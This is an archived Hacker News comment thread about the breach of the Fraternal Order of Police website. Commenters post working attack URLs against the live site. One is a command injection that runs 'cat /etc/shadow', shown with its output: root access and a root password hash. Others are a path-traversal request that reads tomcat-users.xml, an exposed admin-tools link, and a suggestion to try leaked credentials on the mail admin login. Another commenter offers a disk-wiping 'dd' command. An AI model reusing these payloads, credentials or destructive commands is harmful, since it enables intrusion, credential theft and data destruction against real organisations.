5 ms·
Haven't dled the dump yet, but if it contains credentials some of them will probably work at https://email.fop.net/postfixadmin/users/login.php https://email.fo
by ryanlol 11y ago
Haven't dled the dump yet, but if it contains credentials some of them will probably work at https://email.fop.net/postfixadmin/users/login.php https://email.fop.net/postfixadmin/users/login.php
cve-2012-0811 yo
Clearly it's no wonder that these guys got hacked.
See also: https://news.ycombinator.com/item?id=10990193 https://news.ycombinator.com/item?id=10990193 http://fop.net/servlet/util/util.jsp?cmd=id;uname+-a;cat+/etc/shadow&html=true&pass=secret http://fop.net/servlet/util/util.jsp?cmd=id;uname+-a;cat+/et...
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Linux data.fop.net 2.6.18-407.el5 #1 SMP Wed Nov 11 08:12:41 EST 2015 x86_64 x86_64 x86_64 GNU/Linux
root:$1$04KmnGtM$V0naSp94MiVAQUpoBH.fI1:16828:0:99999:7:::
thanks to user thisisthepolice for the above ;)
Edit: I sure hope it wasn't someone from here that turned the server off. That's, like, several felonies.
- sarciszewski 11y agoThat's illegal. EDIT: In case the OP gets rm'd: https://archive.is/fyHfC https://archive.is/fyHfC https://web.archive.org/web/20160128190623/https://news.ycombinator.com/item?id=10989900 https://web.archive.org/web/20160128190623/https://news.ycom... http://www.webcitation.org/6escqonB6 http://www.webcitation.org/6escqonB6
- ryanlol 11y agoYeah possibly, but this SHOULD be illegal: http://www.fop.net/servlet/listing/news_article?user_id=-1&nocache=1765055&XSL=xsl_pages/members/member_news_listing.xsl http://www.fop.net/servlet/listing/news_article?user_id=-1&n... Note the convenient "Admin Tools" button :)
- sarciszewski 11y agoWow what the fuck. Who programmed their website?
- ryanlol 11y agoA time traveller. (Just to clarify, from the past.)
- sarciszewski 11y agohttp://www.fop.net/servlet/display/donation?XSL=xsl_pages/public/foundation.xsl http://www.fop.net/servlet/display/donation?XSL=xsl_pages/pu... Yes hello, I'd like to donate with my credit card number over HTTP. Quick, nobody tell PCI!
- pc86 11y agoNo it's okay it's a servlet.
- thisisthepolice 11y agohttp://www.fop.net/servlet/display/news_article?id=31337&XSL=../../conf/tomcat-users.xml%00.xsl http://www.fop.net/servlet/display/news_article?id=31337&XSL... http://fop.net/servlet/util/util.jsp?cmd=id;uname+-a;cat+/etc/shadow&html=true&pass=secret http://fop.net/servlet/util/util.jsp?cmd=id;uname+-a;cat+/et...
- eli 11y agoI don't think that's a good idea.
- mschuster91 11y ago> uid=0(root) gid=0(root) groups=0(root) What the actual fuck. That hurts so much. > Edit: I sure hope it wasn't someone from here that turned the server off. That's, like, several felonies. dd if=/dev/zero of=/dev/hda0
- DarkLinkXXXX 11y agoIs it? I really don't know. And that's reason #5 I don't hack high-profile servers; if I'm going to do something illegal, I damn well wanna know what happens when I get caught.